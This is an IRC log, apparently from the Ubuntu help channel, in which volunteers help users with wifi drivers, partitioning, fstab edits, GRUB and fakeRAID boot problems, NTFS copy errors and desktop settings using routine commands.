hibernated first. If it is the first thing I've done, it just hangs with black screen and no HD activity on wake up. Any clues? [03:14] tylercw, np. Have fun now that you can see. [03:14] shero Right click 'Minecraft.jar', click 'Properties' click the 'Permissions' tab, and check 'Allow executing file as program.' [03:14] sam what to do now [03:14] Thanks, and i sure will! [03:14] How would I download using wget or curl a URL which has a ? in it? [03:14] sam-_-, no i have broadcom i believe [03:14] shishirdwivedi20, with this nautilus window it should work [03:14] <^Neptune> Is there any way to free up a port that's in use? I have no idea what is using the port [03:15] shishirdwivedi20, just copy like before [03:15] My shell tries to match the ? with a character [03:15] Spreadsheet__, try ""s or ''s [03:15] sam ok [03:15] glitchd, oh that's bad news. [03:15] Hello Universe [03:15] like http://site.com/foo.ext"?"blah [03:15] sam-_-, BCM4313 802.11b/g LP-PHY (rev 01) [03:15] sam-_-, and it only would see 2.3 gigs of ram [03:15] * hylian waves hello to XiaolinDraconis [03:16] broadcom is easy [03:16] or "http://...blah" [03:16] r00t4rd3d: some are [03:16] :D [03:16] fffu: ok [03:16] * XiaolinDraconis is blown away by the waves [03:16] sam thanx sam its done [03:16] glitchd, https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx [03:16] ICM: thank you it opened.

I feel like i'm getting better!(..not really) [03:16] It's working, thanks [03:17] r00t4rd3d: supposedly, 4313 uses the STA driver, so it should be fine [03:17] no problem shero, enjoy being unproductive for days :D [03:17] <3 Minecraft [03:17] you need the bcmwl-kernel-source installed [03:17] * XiaolinDraconis wishes he could use the awesome GDM themes he downloaded [03:17] before you can activate it [03:17] r00t4rd3d: i thought when you activated the STA driver, it did that? [03:17] glitchd, what about the graphics issues are they gone? [03:18] hi [03:18] anyone here got a kindle? [03:18] lallz, i will get one for christmas i hope [03:18] I've got a kindle.

[03:18] glitchd, do you have wired net access on ubuntu ? [03:19] im consedering one sam-_- [03:19] ICM: Ok minecraft run. Now the challenge::can it work on a horrible computer? heres my error message. [03:19] lallz, i don't have one yet so i can't tell you anything [03:19] I don't have aliases defined in my irc client, whenever you give them to me please give me the FULL command THANNKS [03:19] i have wireless but i can plug into the router if needbe [03:20] shero good luck, beyond the basics i can't help too much :/ [03:20] glitch , pm [03:20] we can do it either way [03:20] r00t4rd3d: do it here, i wanna see..lol [03:20] ICM: here it is anyways XD.

[03:23] if i have my hd split with windows on one partition and linux on another, is there a way that i can boot my windows partition inside of the linux one? via virtual box or something similar? [03:23] glitchd, ever think of using the 64 bit version? (or is this a bios thing, cause my bios only let's me use 3.2.) [03:23] vmware player [03:23] i believe it has option to boot hard drive [03:23] Any ideas for when suspend doesn't work until the computer has at least been hibernated first? I'm stuck on it. [03:24] hylian, y. 2.3gb sound rly. strange [03:24] XiaolinDraconis, i have gotten virtual box to boot my other hd. it just warns you to be carefull, which is always a good idea. :) [03:24] did u get that glitch [03:24] glitchd, I have heard that windows will demand you re-authenticate the license, that it detects the machine change [03:24] sam-_-, i agree. [03:24] I've made some changes to GDM, and recompiled it. Is there a way to tell ubuntu to recompile GDM everytime it updates it, and does a merge-changes sort of thing (like with gentoo conf files after updating a port)? [03:25] sync is right as well [03:25] bhiles, sounds like some modules don't get loaded/unloaded properly [03:25] unless u use that pirated no serial windows [03:25] Where should I start looking? [03:25] glitchd, yeah, if it's a windows install, i wouldnt do it. [03:26] Hailz to all ,, basic questions about filesharing on ubuntu .. using gnome [03:26] bhiles in the logs /var/log/* [03:26] dr_willis [03:26] diecastarts: it's pretty easy...

[03:26] i have my second computer hardwired to main computer with cross can get internet fine [03:27] sam-_-, thanks. [03:27] i did a step i found on the net but wondering because it set to auto dhcp and stuff maybe why i cannot mount [03:27] KM0201, that won't work if windows and ubuntu are on the same machine though, wasn't he asking about vm'ing? [03:27] I see the folder on my second computer but go to mount even with username in PYnouberhood [03:27] hylian: sure it will.. I use samba to share between Ubuntu and a virtual machine XP [03:28] I have a ? regarding my wireless?? [03:28] KM0201, ohh, i see. nvm, i goofed up. [03:28] i did this before easy with ubuntiu to xp or window in general [03:28] * sam-_- is tired [03:28] mythology: by all means, share it w/ the class [03:28] goodnight guys [03:28] but frist time ubuntu to ubuntu for me [03:28] wish i could get empathy to stop auto scrolling [03:29] Ok my wireless card is working but wont connect! [03:29] XiaolinDraconis: use a quality IRC client, rather than a client designed for instant messaging. [03:29] diecastarts, are you using virtualbox? because if you are and you have guest additions installed, it's rather easy to set up networking beetween linux and windows (virtual windows) [03:29] bencahill: hi there!! [03:29] i did the setups [03:29] KM: so true [03:29] * hylian has to go check the woodstove, be back in 5 [03:29] im on an almost fresh install [03:29] i can see the folder on the second machine even but mount no go [03:30] setting up themes and what not still [03:30] never used empathy thought i would give it a try [03:30] using pyneurborhood <-- sorry spelling [03:30] empathy is one of them programs that shouldnt be installed by default :D [03:30] r00t4rd3d: i so agree [03:31] is anyone gonna suggest something other than Pidgin [03:31] yeah go pidgin for msg and xchat or something that main only a irc clinet [03:31] i kinda liked pidg [03:31] XiaolinDraconis: i still like pidgin, i hat eempathy [03:31] pidgin is great of all msg [03:31] empaty is like one of the first programs i remove [03:31] sam-_-, am I looking for differences between the suspend and powersave logs? am I looking for errors? [03:31] i see why [03:31] on a new install, firs tthing that goes is Empathy. [03:31] even can use 3rd plugins.. facebook ecgtect [03:31] i just checked prefs [03:31] literally no options [03:32] 3rd party plugins i meant there sorry [03:32] XiaolinDraconis: why dont you just install xchat? [03:32] it's a fantastic irc client [03:32] it is [03:32] Anybody have a clue as too why my wireless wonk connect? [03:32] i will give it a go [03:32] XiaolinDraconis: even xchat-gnome is better than Empathy [03:32] xchat is like old school linux irc chat [03:32] its in the softward rep_ [03:32] software === t is now known as Guest82004 [03:32] r00t4rd3d: i like xchat... easy to set up [03:32] so all to buzzed to be typing tonight lol [03:32] stupid question... can a ubuntu server behave likea windows server (domain authentification etc) ?

[03:58] shero: try sudo apt-get install ubuntu-restricted-extras [03:58] XiaolinDraconis: I found many commands in the list of help.. but how can i do that when the machine boots up ? [03:59] hi all [03:59] тут русские есть?? [03:59] hey guys just popping in to say that it worked! [03:59] thanks for your help everyone [03:59] cjdevlin, It's just an alias for the folder. I have several others that work, but they don't have spaces. [03:59] wordwarrior: somewhere in those commands it tells you the commands for opening a virtual drive [04:00] im a wireless adapter install master :D [04:00] do you know how to make a launcher [04:00] What's the appropriate way to suggest software to be packaged for Ubuntu? [04:00] dsnyders: then the underscore should work. also i'm pretty sure you have to log out and back in for aliases to work [04:00] XiaolinDraconis: yes VirtualBox startvm name of my m/c but this how can i do on boot up [04:00] cjdevlin, For example, I type in cd $bewitched and it takes me to /storage/videos/bewitched [04:01] jbn-o: you can package it yourself and distribute it in ppa [04:01] in the administration menu is the start up programs [04:01] add the launcher and/or command to that list [04:01] hmm pl [04:01] cjdevlin, the command: source .bashrc forces a re-read of the files. [04:01] ok [04:02] Ok, somehow I ended up with Natty Narwhal.

Any problems, or does it work straight out of the box? [05:07] Jordan_U: the disk is just 120gb..also theres space for more partition after the 3 primary [05:07] Sahni, what is your problem? [05:07] Jordan_U: as 4 is the limit for primary [05:08] on the server, a samba shared file is owned by dev:dev, which shows up on the client as 'infid:48' (48 is the uid of 'dev' on the server). infid is a member of the 'dev' group and the file is group writable. yet when i try to write to the file on the client it says permission denied. Any idea why? [05:08] idea4good: do as you need them..i was just suggesting! [05:09] bonjoyee: so help me with this can i make logical partitions of primary 3 which shared between 2 [05:09] my vlc can't play wmv file formate how to install a plugin for it [05:09] hasibullah, i think the plugin is called 'plugin your windows hard drive' ;) [05:10] how to use xmodmap to create new AltGr+X combination? [05:10] Infid; I'm not great with streets, but I have heard that the client machine can require the proper permissions, not just the user [05:10] idea4good: u can have a max of 4 primary parts on a disk..so even if you make all 3 primary...later u can delete anyone..and replace it with an extended part [05:10] *servers [05:10] bonjoyee: But you can only create new logical partitions within an existing extended partition. Keeping as much as possible in possible in logical partitions means you can add new partitions in between existing ones, something that you can't do if you only have one free primary partition to create logical partitions in. [05:10] hasibullah, it's usually builtin, are you sure file is ok? [05:11] Jordan_U: you're right..please explain to idea4good [05:11] fffu: yes those files can be played in windows media player in windows but can't in vlc [05:12] hasibullah, have you tried mplayer ? [05:12] mschulze: what do you mean [05:13] So can i share exteneded partition between 2 primaries, if so should it be between 2 primary i means parition arragements say : P1 (ntfs ,20) , Extended 70 gb , P2 (primary ext4) [05:13] idea4good: While windows has some problems with booting from logical partitions, linux has no issues whatsoever with them. I suggest you make whatever primary partitions windows needs and create an extended partition in the remaining free space, then create logical partitins within that. [05:13] r88t4rd3d: no [05:13] for linux you dont need a primary partitions ? [05:14] idea4good, you can create small primary partition to insall windows loader to, and install widows itself into extended partition [05:14] Infid: You can grant permissions to the user AND the user machine. [05:14] no advance config please spent 2 days trying to get simple stuff working [05:14] r88t4rd3d: you mean media player which is installed by default [05:14] idea4good: Nope, grub(2) can boot from logical partitions just fine. [05:14] Infid: be sure both sets give write access [05:15] mschulze: how do you grant permissions to a machine [05:15] hasibullah, i just installed vlc and it plays wmv file fine [05:16] idea4good: so the general consensus is 1 primary part for windows, 1 primary/logical for ubuntu, the third for data..now you decide which one goes where [05:16] hi all [05:16] idea4good: and then ask if u need further help.. [05:16] Infid: Technically you shouldn't have to. The server settings should allow for the users permissions to override the machines permissions. But I don't know actually how to do it [05:18] just a clarification can i make like Partition 1 20 gb ntfs primary, exteneded partitions with logical partitions D E F and linux Partition which should be ext 4 so will both XP and linux share them [05:18] hasibullah, check pm [05:18] so i am saying keeping linux at end follow by swap [05:19] where are keyoard layouts are stored? [05:19] ext4 cannot be shared [05:19] in the terminal. what is the command? to edit a file. command opens a window. parallel to the tree structure [05:19] use ext2 or ntfs [05:19] zaahir: "nano /path/to/file.txt" is one option. [05:19] r88t4rd3d: what is pm [05:20] idea4good: doesn't matter where u place the extended parts..or the ubuntu..if its ntfs u can share it with ubuntu [05:20] fffu,,, ext4 cannot be shared even through samba shares?

Not a very intelligent name for those unfamiliar, yeah :/ [05:32] in the terminal. what is the command? to edit a file. command opens a window. parallel to the tree structure [05:32] anon33_, if you download the i386 iso and put it in the same folder as wubi it will use that iso. [05:32] bonjoyee, I'm lazy, gonna work on it right now! :) [05:33] bencahill: i checked ur grub.cfg..and its kernel lines have a wrong uuid..

[05:34] zaahir, you can use nano, like this: sudo nano /path/to/file [05:34] bencahill: it still uses the kernel from the hdd install, and the / is the one from the usb [05:35] bonjoyee, well but it has the --set command, so I'm assuming that overrides the other? I don't know, but that's not my problem right now, because I learned that if the bios doesn't support booting to usb, then for grub to boot to usb, it needs to load a usb module...working on that now :) [05:36] bencahill: but the kernel line will always try to get the one thats mentioned on it [05:37] bencahill but it's for delete some files [05:38] bonjoyee, yes, if I get the usb figured out, then I'll fix that (somehow, I'd like to do it the proper way and not edit grub.cfg), if not, I'll have to go with putting /boot on the hdd, although I'd rather not (so I can still have the hdd install to fall back too) :) [05:38] zaahir, what? [05:38] delete a file in my system [05:39] zaahir, rm [05:39] i am news in the buissiness [05:39] bencahill: just add the correct menu entry to /etc/grub.d/40_custom and do sudo update-grub [05:39] zaahir, check out this, it'll help you :) https://help.ubuntu.com/community/UsingTheTerminal#File%20&%20Directory%20Commands [05:40] bonjoyee, ok thx [05:41] bonjoyee : imgur.com/7ofTo.png [05:41] bonjoyee : http://imgur.com/7ofTo.png [05:42] idea4good: looks good.. [05:42] so linux swap should be as linux swap file type but actual linux home should be ext4? [05:42] Is it normal for Ubuntu to take a long time to change my user password?

Shaolin was murder. gksudo nautilus [05:44] david2: was to "no" to me?

[05:44] david2: im just seeing the spinny thing, showing that its processing [05:45] bonjoyye : but the linux home should be defined as file system type ext4 [05:45] luxurymode: what are you doing?

[06:17] Jordan_U, heh, shows how much I know :) [06:17] luxurymode, yep, and grub isn't seeing it...

[06:19] bvnbvn [06:19] luxurymode: That sounds like your BIOS has fakeRAID that you're not using. (which is a good thing, FakeRAID has no advantage over linux software RAID and many downsides). [06:19] bencahill :check carefully theres a workaround for that as well [06:19] Jordan_U: right [06:20] Jordan_U: bencahill: weird thing is sudo update-grub gives me this http://paste.ubuntu.com/546176/ [06:20] luxurymode: So just keep RAID disabled in the BIOS and everything should be fine. [06:20] just disable raid completely? [06:20] luxurymode: Ahh, that means your windows install *is* using fakeRAID.

I didn't see it :-/ [06:22] r00t4rd3d, yea its flyin now [06:22] with all your 8gigs [06:22] is there a player on ubuntu that plays upnp media from my server? [06:22] Jordan_U: but the ubuntu install was onto the fresh new drive. it wasnt (i dont think...) an install of ubuntu onto a fakedraid drive with an existing installation of an OS [06:22] r00t4rd3d, 7.7 [06:22] Jordan_U: sure. sec. [06:23] bencahill: post #6..check the part that says booting into the recovery mode! [06:23] r00t4rd3d, for whatever reason i can never get it to enable all 8 gigs [06:23] Jordan_U: http://paste.ubuntu.com/546178/ [06:23] r00 [06:23] r00t4rd3d, idk why [06:23] luxurymode: If that's the case, and if you want to keep the fakeRAID for windows, you'll need to enable fakeRAID for just the drives containing windows. [06:24] Jordan_U: uh, oh man. no idea how to do that. [06:24] hello. i am having transient problems with network connectivity under ubuntu 10.10; it often occurs after wakeup from sleep but sometimes after boot. the only redress is rebooting and i have no idea how to trace the problem much less fix it myself. any suggestions? [06:24] Jordan_U: basically i had two drives in there, which appeared to be linked as 1. they were port 0 and 1. then i installed the new drive and it was port 3 [06:25] Jordan_U: also, if i go to raid config and disable all but port 3, i cant get to the boot menu with the OS options [06:25] luxurymode: In that menu you talked about where you said you "under raid config, disable all the SATA ports". But only disable the one containing Ubuntu, most likely the third as the drive is listed as sdc. [06:26] Jordan_U: right, but that configuration wont work. cant get into ANYTHING that way [06:26] luxurymode: Are you sure you don't just need to change the boot order in the BIOS so that port 3 is first to boot? [06:27] Jordan_U: oh, interesting. yeah dont know how to do that. i just saw boot order options of "hard drive", "optical", "diskette", etc. and i tried every conceivable order. though not sure i tried them all with only port 3 enabled. also, sometimes i noticed CMOS would auto-revert back to previous configs and enable/disabe ports by itself. though i cant swear by that. id have to look more closely. [06:29] Jordan_U: wait, you're saying DISABLE the ubuntu one and enable all the rest? [06:29] luxurymode: Yes. Because the Ubuntu install is not using fakeRAID. [06:30] Jordan_U: so just try that? otherwise how can you set priority to ports for boot order? [06:30] luxurymode: You should be able to. [06:31] Jordan_U: will the different ports just be options in boot order menu? or do i need to make HD first priority and set that to port 3 somewhere else? [06:32] luxurymode: I would expect it to be the former, but every BIOS has a different interface. [06:32] Jordan_U: right. lemme first just try enabling all except port 3 [06:32] Jordan_U: brb [06:33] Jordan_U, oh I forgot, the USB stick is in a PC Card or cardbus slot, would that make a difference? :-P [06:33] bencahill: That's a good question, I don't actually know :) === ubuntu is now known as tehbaut_ [06:39] what command is used to switch gnome to lxde? [06:39] to default? [06:39] hello? [06:40] samantha2: lxde is installed with gnome or installed seprately? [06:40] what's the desktop equivalent of phpmyadmin? [06:40] I'm having some issues with copying/rsync that I can't explain, and Google hasn't been much help either. I have a 2TB external hard drive, NTFS formatted, and I have an internal NTFS drive, and I'm trying to copy files back and forth, but it keeps giving me an error "No space left on device" ...but that's so not true, as there's clearly 1.5TB left on the device!! [06:40] or the gui equivalent of mysqladmin, if you want? [06:41] I remember using a command to set a desktop manager [06:41] I've tried copying via Nautilus UI, and terminal via cp and rsync... same errors [06:41] i mean insatlled while instling ubuntu or its downlded [06:41] why can I not seem to change the perms on my flash drive from rwxr--r-- ? [06:41] I just don't get it... [06:41] tehbaut_: do you have those NTFS files also mounted on windows? [06:41] How can I accomplish that Update Manager will not update in the futue my current kernel (version)? (Because I have compiled in a special module which would go lost.) [06:41] tehbaut_: I mean, do you dualboot? [06:41] I want to be able to start my computer and lxde login prompt so show. [06:41] * to [06:41] kandinski: yes, but they shouldn't be mounted... I was able to copy files before [06:42] tehbaut_: windows and ubuntu have different places for their trash/recycle bins [06:42] I currently have gnome [06:42] i already installed lxde [06:42] tehbaut_: I advise you to boot windows, empty trashcans, then boot ubuntu, empty recicle bins, then try again [06:42] and I can selected at login [06:42] how can i see d list of permissions given to any file frm terminal? [06:43] kandinski: but I don't see how that would matter... the drive is brand new, and never had anything deleted from it [06:43] anybody? [06:43] mandep: ls -la file [06:43] tehbaut_: in that case, no, it makes no sense [06:43] :) [06:43] where is the file mounted? [06:43] correction: rwxr-xr-x [06:43] I mean the filesystem? [06:43] mandep: Use the command 'ls -al ' [06:44] need help on making lxde default [06:44] any takers? [06:44] I remember using a command on the terminal [06:44] kandinski: whatever is the default... they mounted when I ran the livecd [06:44] to choose which to boot with [06:45] how can i list all programs that started when pc starts sortingly???? [06:46] mandep: What do you mean by "sortingly"? [06:47] samantha you can log out and at the bottom there is options for picking what you want to use [06:48] Morning everyone (at least where I am ) anyone know whyt I would get this msg when I try to mount a partition on one of my HDD?

[06:49] mandep: check boot chart :) [06:49] tyrone: Probably because you did not have enough permission rights. Try sudo as a prefix. [06:49] hi there. I can't for the life of me figure out where to disable my laptop's auxiliary volume buttons (next to the keyboard). can anyone help? [06:49] join #qt [06:49] sudo apt-get install bootchart [06:49] hey guys i have a partition used only for my music libary wich file format should i use? [06:49] tehbaut_: I am trying to get work done too, but I am still thinking about your ntfs in the background of my mind [06:49] mrcomic: flac. [06:49] mandep: http://www.bootchart.org/ [06:50] #qt [06:50] kandinski: cool, thanks much :) [06:50] 000 [06:50] no i mean the disk format [06:50] xD [06:50] bullgard: thanks, any idea why only one of the partitions would be like that? how do I make it like the rest? [06:50] tehbaut_: where are those ntfs filesystems mounted? === aknm is now known as monk [06:50] what does df -h tell you on the console? [06:51] Jordan_U: yes, /boot/grub/grubenv only contains ##'s [06:51] mrcomic: uh. does it matter? pick something that will work with every OS you need it to [06:51] kandinski: they're mounted wherever the default mount point is when the livecd loaded [06:51] right [06:51] tyrone: '~$ cat /etc/fstab' will probably tell you. Probably you gave special access permission to this particular partition. [06:51] kandinski: /dev/sdc1 1.9T 265G 1.6T 15% /media/Flux Capacitor [06:52] bullgard: thanks I will see what that gives [06:52] i have a drive that's formatted as hfsplus yet has journaling disabled. for some reason, i still can't write to the disk drive. mount replies (rw,nosuid,nodev,uhelper=udisks) [06:52] i only have linux and i want to be ... as fast as possible in relation to the files i got there [06:52] a similar hfsplus drive that does allow me to write to it just says (rw) [06:52] what can i do to allow writing to the first drive? [06:52] tehbaut_: tough nut to crack [06:53] How can I accomplish that Update Manager will not update in the futue my current kernel (version)? (Because I have compiled in a special module which would go lost.) [06:53] kandinski: Google results suggested it might be an inode problem, but I show plenty of inodes available too, when running df -i: /dev/sdc1 1677282040 906416 1676375624 1% /media/Flux Capacitor [06:53] bullgard: all I get is bash: /etc/fstab: permission denied [06:53] tehbaut_: I am totally stumped [06:54] tyrone use sudo gedit /etc/fstab [06:54] and see what it says [06:55] tehbaut_: what filesystem is /dev/sdc1 ? [06:55] quiescens: NTFS [06:55] bencahill: you there? [06:55] anon33_: What error do you get when you try to write to it? [06:55] tyrone: '~$ cat /etc/fstab' works for me. Pleas tell me what do you obtain when you do '~$ ls -al /etc/fstab'. [06:56] mrcomic: thanks works. can I pastebinit for you to have a look at? [06:56] Jordan_U: Permission denied. [06:56] yup :) [06:56] @tyrone :) sure [06:56] anon33_: What are the permissions of the file/directory you're trying to write to? [06:56] bullgard: I was able to open with gksu gedit /etc/fstab [06:56] i wonder what it would display as an inode count for an ntfs filesystem [06:56] anybody know why my flash drive might always auto-mount with perms set to being writable only by root, and sudo chmod as well as sudo chown failing? [06:56] hi [06:56] well, in mount it says (rw, nosuid, nodev, uhelper-udisks) [06:57] mrcomic: http://pastebin.com/Mex6Fv4d [06:57] in mount, ls -l responds with: "drwxrwxr-x 1 99 99" [06:57] tyrone: Good. And now look at the properties of that particular partition. [06:57] bullgard: ^ [06:57] tried every possible config in CMOS. only one that brings up bootloader is to disable all SATA ports. even set port 3 (with ubuntu install) as first boot disk priority and still wouldnt let me get into bootloader. just brings me to blinking cursor [06:58] quiescens: problems like this are what I least expect from ubuntu... it doesn't make any sense [06:58] tyrone: What does a message '^' mean with you? [06:58] Jordan_U: what are you thinking? [06:58] course, I'm not saying it /is/ an ubuntu problem, but still... would like to figure out what the problem is, exactly [06:59] bullgard: sorry was pointing out my pastebin comment for you. http://pastebin.com/Mex6Fv4d [06:59] @tyrone : the partition with errors is sdb5? [06:59] anon33_: Then your user does not have permission to write to that directory. Use "sudo chmod +w /mountpoint/" to give "other" users (like your own) permission to write there. [07:00] mrcomic: no it is sda1 [07:00] How to fix this erorr: bash: ./configure: Permission denied. [07:00] sudo ./configure [07:00] @tyrone and what is exactly the problem? [07:00] Jordan_U: "sudo chmod +w /dev/sdb2" was successful, but i still can't create directories on it [07:01] mrcomic: the problem is that I can't mount this partition [07:01] .... [07:01] tyrone: What partition are you especially interested in? [07:01] ok [07:01] == [07:01] anon33_: /dev/sdb2 is not a mountpoint, it's a device node. If you pastebin the output of "mount" I can tell you what the mountpoint is.

[08:09] sara2010: in your home...press ctrl+h to see it [08:10] bencahill... have edited the file but when I try exit and save over it says I don't ahve the privileges [08:10] tyrone: I'm not sure at the point your at but I use vi to edit in standard terms but there are others also like nano [08:10] sacarlson thanks.

[08:13] sara2010: the folder is there..jusy copy your ttf files in there [08:13] sacarlson, tyrone: I use vi also, but recommend nano for beginners because it doesn't quite have the learning curve :) [08:14] tyrone, sudo [08:14] sara2010: I guess just cd /.fonts [08:14] tyrone, before nano /etc/fstab [08:14] sara2010: opps cd ~/.fonts [08:14] tyrone, so sudo nano /etc/fstab [08:14] bencahill: I was in sudo bash already [08:14] cd /.fonts [08:14] bash: cd: /.fonts: No such file or directory [08:14] tyrone, how?

[08:20] bencahill. noob question. should I try gksudo then? I thought that was only for the gnome interface (not sure if that is the right term) [08:20] tyrone, right, you don't need sudo, you're a superuser! [08:20] tehbaut_, im gonna guess your root partition is almost full [08:21] tyrone: just do nano /etc/fstab [08:21] tyrone: you did see the # in your term before you nano edit? [08:21] 'llo. New machine, (sorta) unknown hardware, I've got networking going, but I don't have sound. [08:21] bencahill, that is what is confusing me. I typed sudo bash at the beginning of m y session like I always do to stop having to write sudo for everything [08:21] tyrone, no, you're correct, that's for some things that are handled differently by gnome gui programs, iirc [08:21] sacarlson: yes I do [08:21] seems to be using snd-hda-intel, and some of the oss emulation modules, but I don't seem to have /dev/snd/anything [08:22] my problem solved, Thank You [08:22] tyrone, not a good habit imo, it's not that hard to type sudo [08:22] whoops, withdraw that comment....

[08:24] bencahill: that correct it must be mounted read only [08:24] sacarlson, it spewed out some stuff and at teh end it said that /etc/mtab is not writable [08:25] r00t4rd3d: I was able to copy files to the external HDD this morning, but there came a point where it stopped doing so, giving this error instead [08:25] tyrone: if u have a livecd boot it..and edit the fstab file from there [08:25] does any knw abt open source remote keylogger?? [08:25] no idea what caused it or why it started happening all of a sudden, with 1.6TB still available on the drive [08:26] bonjoyee, I thought that no file changes could be made from live boot? === bombshell is now known as bombshell[a] [08:27] tyrone: you are running on a small ramdisk (in memory drive), you can even install software [08:28] dc5ala: thanks. will try that [08:28] Right.

I was just asking him if it mattered that the version I was trying to edit was from a later version than the CD I have [08:34] r00t4rd3d: k, one sec [08:34] tyrone, no, doesn't matter, why are you running a livecd just to edit /etc/fstab? [08:35] Hello, I accidentally added two menus to my panel, and now my panel has disappeared and the bottom of this window is snapping around like the panel is invisible than crashing than it reappears, invisible.

[08:38] tyrone, even using sudo? [08:39] bencahill. what would the path to the file be since I am using a "live linux" to edit my real linux. the normal /etc/fstab would point to the live version and not the one that I want to edit no? [08:39] tyrone, depends where it is mounted [08:40] tyrone, yes /etc/fstab is the one for the livecd, which is pretty short and different than usual :) [08:41] tyrone, is it already mounted === stas is now known as Guest9634 [08:42] bencahil. browsed for the file and copied location from properties.

[09:03] bencahill. done. see you on the other side [09:03] :) [09:03] tyrone, 'k, cya :) [09:04] How good is VIRSH? [09:04] aLemmer: kvm can be used completely from the terminal. [09:05] r00t4rd3d: here's the output of du at /: http://pastebin.com/0YKq5nWa [09:05] Jordan_U Will I need VIRSH to manage KVM? [09:06] tehbaut_ hmmm [09:06] aLemmer: It depends on what type of management you need to do. [09:07] hello [09:07] Wazzup jimly? [09:07] Jordan_U: basically, I want to setup a lot of DSL installs for my friends to use remotely as "cloud computers." [09:07] bencahill. thanks it now mounts beautifully [09:07] tyrone, sometimes it's the simplest things :) glad you got it working :) [09:08] tehbaut_, whats in your media folder ? [09:08] Hi! The WLAN of my (Win7/linux dualboot) laptop is acting up pretty weird. It works with following configs: WorkWLAN/Win7 WorkWLAN/linux HomeWLAN/Win7 however, HomeWLAN/linux fails - and it fails weird. It connects to network pretty randomly, and there's sort-of random packet loss when it connects (at times, it seems good, other times 50% packet loss). Any ideas what could be causing this? [09:08] bencahill. I still get an error on startup though and I think it is cos it is trying to automount from this other disk utility I had once. perhaps that is an issue for another time though. thanks so much for helping a noob out much appreciated ;) [09:08] aLemmer: You can probably do that comfortably just using kvm without any extra tools. [09:09] r00t4rd3d: that's where the two drives are mounted [09:09] the internal 500GB and the external 2TB [09:09] tehbaut_, you have 568gig total and 561gig in your media folder [09:09] Jordan_U: sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils? [09:10] r00t4rd3d: right, but 500GB isn't 2TB [09:10] I've had similar problems with my other laptop's wlan at home after upgrade to 10.10. I thought they were about the laptop, but now I'm thinking it might be something else too, since there's similar trouble with this other computer. [09:10] tehbaut_, cd media [09:11] r00t4rd3d: the external drive shows as having 1.6TB available... so it can't be taken up, thus I shouldn't be having "No space available on device" errors [09:11] Any guessing at what's causing this is welcome. Maybe there's something I can do at home WLAN:n config... [09:11] aLemmer: All you need is qemu-kvm (which will bring in bridge-utils). [09:11] aLemmer: If you want the other packages then by all means install them as well though. [09:12] tehbaut_, something must not be right with your external [09:12] tehbaut_: You're probably run out of inodes. Do you have many small files on that filesystem? [09:12] r00t4rd3d: what would be wrong with it though? I think that's what I am after... [09:12] Also, I'm interested in any ideas on what sort of data to collect about the problem in order to help troubleshooting the issue. Is there some useful data about the wlan conncetion I could try to gather for troubleshooting? [09:13] Jordan_U: no, there are plenty of inodes: http://pastebin.com/isqUDbhR [09:14] Hi. My panel crashes, then restarts and crashes again before it becomes visible. This started after I accidentially added a second menu. Can anyone help? [09:15] !resetpanel | r00t4rd3d [09:15] r00t4rd3d, please see my private message [09:15] !resetpanel [09:15] To reset the panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel » [09:15] !resetpanel | Nonpython [09:15] Nonpython: please see above [09:16] do that command and it will put you back to default [09:17] tehbaut_: Anything look interesting in dmesg? [09:17] It did not fix it. [09:18] tehbaut_: Since this is an ntfs partition, can you add files to it from windows? [09:18] hi, new to ubuntu. with ubuntu-server 10.10, why the file /etc/apt/apt.conf.d/10periodic does not exist? by reading the ubuntu-server serverguide, I supposed to edit this file. this serverguide doesn't ask users to create the file, instead, it uses the word 'edit'. thanks. [09:18] I had no problems adding files from ubuntu or windows up until a certain point... after I started getting these errors in ubuntu, I didn't try again in windows [09:19] tehbaut_: Try again in windows if it's not too much trouble. [09:19] Starting gnome-panel manually causes a assert error. [09:19] chkdsk /f in windows on it might not hurt either [09:20] is it possible to do a cli install from the desktop cd? [09:21] pfui: Not in a straightforward way. [09:22] hi, since ubuntu doesn't have chkconfig, how can I enable/disable services at boot time? I switched from opensuse. thanks. [09:22] !boot | sgo11 [09:22] sgo11: Boot options: https://help.ubuntu.com/community/BootOptions - To add/remove startup services, you can use the package 'bum', or update-rc.d - To add your own startup scripts, use /etc/rc.local - See also !grub and !dualboot - Making a boot floppy: https://help.ubuntu.com/community/GrubHowto/BootFloppy - Also see https://help.ubuntu.com/community/SmartBootManagerHowto [09:25] I get the error configure: error: z library not found.. please install libz but I can't seem to find libz in the repo. [09:26] iszak, it's zlib [09:26] zlib-devel [09:26] Gah. I can hear my voice in my microphone, but Skype can't hear me... [09:26] tyrone, np :) [09:26] r00t4rd3d, will try, thanks [09:27] I've gained one of these new-fangled snd-hda-intel thingys and can't figure out what the freak I'm supposed to be setting things to. [09:27] Viking667, wait, what did you say? [09:27] fffu, r00t4rd3d what package should I install? no zlib-devel [09:28] When I make a test call to the test bot, I don't hear my voice, though I hear its voice fine. [09:28] Viking667: unfortunately the hda spec is overbroad so which mixer elements you have is highly variable, but start with: master, pcm, and front should be up [09:28] zlib1g-dev i would try [09:29] iszak: install zlib1g [09:29] uh. I just found something... I've got "front" devices as well as the "mic" [09:29] bonjoyee, okay will do, thanks [09:29] i.e. front speakers, and speakers, front mic and mic. [09:29] yeesh. [09:29] Viking667: there may be 2 mics in your system... Front Mic would mean the one on the screen, and Mic would be the jack [09:29] Jordan_U, r00t4rd3d: I'll go back to windows and try both suggestions... if I find problems, should I reformat via windows or come back to ubuntu to do that? [09:30] tehbaut_: It shouldn't matter one way or the other. [09:30] chkdsk /f will fix it if it finds errors [09:30] Whew. That's got THAT sorted. [09:30] maybe [09:31] I'm currently only seeing guides to installing Ubuntu with ubuntu-vm-builder, should I be using a different tool? [09:31] maco: no... there literally IS a "front" jack, it's on the front of the computer (not in the back where the rest of the sound jacks are) [09:31] Viking667: well thats interesting [09:31] Viking667: desktop then? [09:32] it's not particularly loud, actually so I might stick a second sound card in, as I often daisychain here. [09:32] iszak, any luck ? [09:32] heh. [09:32] Goes with the territory of a new machine (new to me) [09:33] Does anyone know if there's any support channel similar to this for Windows 7? :) [09:33] everyone has problems with mic and skype [09:33] Ileden: ##windows [09:33] it seems [09:33] oh, my ****** goodness. [09:34] I seem to have 64-bit. [09:34] bonjoyee: well, well. thanks! [09:34] r00t4rd3d, Jordan_U: if you don't see me again, then def thanks for the help :) [09:35] ok , come back and tell us if you got it fixed [09:35] r00t4rd3d, yeah it worked. [09:35] cool , what you trying to build from source ? [09:36] if you dont mind me asking [09:36] I have weird problem, my folder view looks very 